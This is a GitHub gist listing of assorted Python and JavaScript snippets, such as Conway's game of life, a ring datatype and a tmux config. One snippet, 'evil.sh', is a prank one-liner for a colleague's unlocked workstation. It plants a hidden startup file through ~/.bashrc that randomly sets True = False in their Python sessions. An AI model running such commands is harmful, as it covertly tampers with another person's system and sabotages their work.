Skip to content

Instantly share code, notes, and snippets.

@justinfay
justinfay / conway.py
Last active August 29, 2015 14:17
Conways game of life
"""
Any live cell with fewer than two live neighbours dies, as if caused by under-population.
Any live cell with two or three live neighbours lives on to the next generation.
Any live cell with more than three live neighbours dies, as if by overcrowding.
Any dead cell with exactly three live neighbours becomes a live cell, as if by reproduction.
"""
import random
class World(object):
@justinfay
justinfay / ring.py
Created March 26, 2015 10:35
Ring datatype for Python
def _adj_index(method):
def _dec(instance, *args):
if isinstance(args[0], int):
index = args[0] % len(instance)
return method(instance, index, *args[1:])
return method(instance, args)
return _dec
class Ring(list):
@justinfay
justinfay / fib.py
Last active August 29, 2015 14:17
fibonacci part duex
n=True;l=n-n
for _ in`IndexError`:l,n=n,l+n;print n
@justinfay
justinfay / .tmux.conf
Created April 13, 2015 16:05
My tmux config
set-window-option -g mode-keys vi
set-window-option -g xterm-keys on
bind h select-pane -L
bind j select-pane -D
bind k select-pane -U
bind l select-pane -R
bind r source-file ~/.tmux.conf \; display "Reloaded!"
@justinfay
justinfay / evil.sh
Created April 22, 2015 14:15
Rotten trick when a colleague leaves their workstation unlocked. One liner for ease of insertion.
echo "if __import__('datetime', globals(), locals(), [], -1).datetime.now().day % __import__('random', globals(), locals(), [], -1).randint(1, 30) == 0: True = False" > ~/... && echo PYTHONSTARTUP=$HOME/... >> ~/.bashrc
def coerce_join(iterable):
return ''.join(str(c) for c in iterable)
def find_signs(rhs, total, lhs=None):
if not rhs:
# we could have a solution.
joined = coerce_join(lhs)
if eval(joined) == total:
yield joined
@justinfay
justinfay / field.js
Created May 17, 2015 22:17
playing around with some field validation ideas.
(function (window, document, undefined) {
'use strict';
var Field = (function () {
var el, errorEl, validators, lastValue, errors=[];
var init = function (_el, _validators, _errorEl) {
el = _el;
errorEl = _errorEl;
validators = _validators;
_setHandlers();
_clearErrors();
>>> def almost_fac(func):
... def _inner(n):
... if n == 0:
... return 1
... return n * func(n - 1)
... return _inner
...
>>> def y(func):
... def _inner(x):
... return y(func)(x)
@justinfay
justinfay / observer.py
Created May 29, 2015 16:26
An idealized interface for observer pattern
from obs import observe
class Flower(object):
def open(speed=0):
if speed not in range(6):
raise ValueError('Speed must be between 0 - 5')
print 'Flower opening at speed %s' % speed
>>> def counter():
... def wrapper():
... wrapper.count += 1
... return wrapper.count
... wrapper.count = 0
... return wrapper
...
>>> def while_rec(func, pred):
... result = func()
... if pred(result) is False: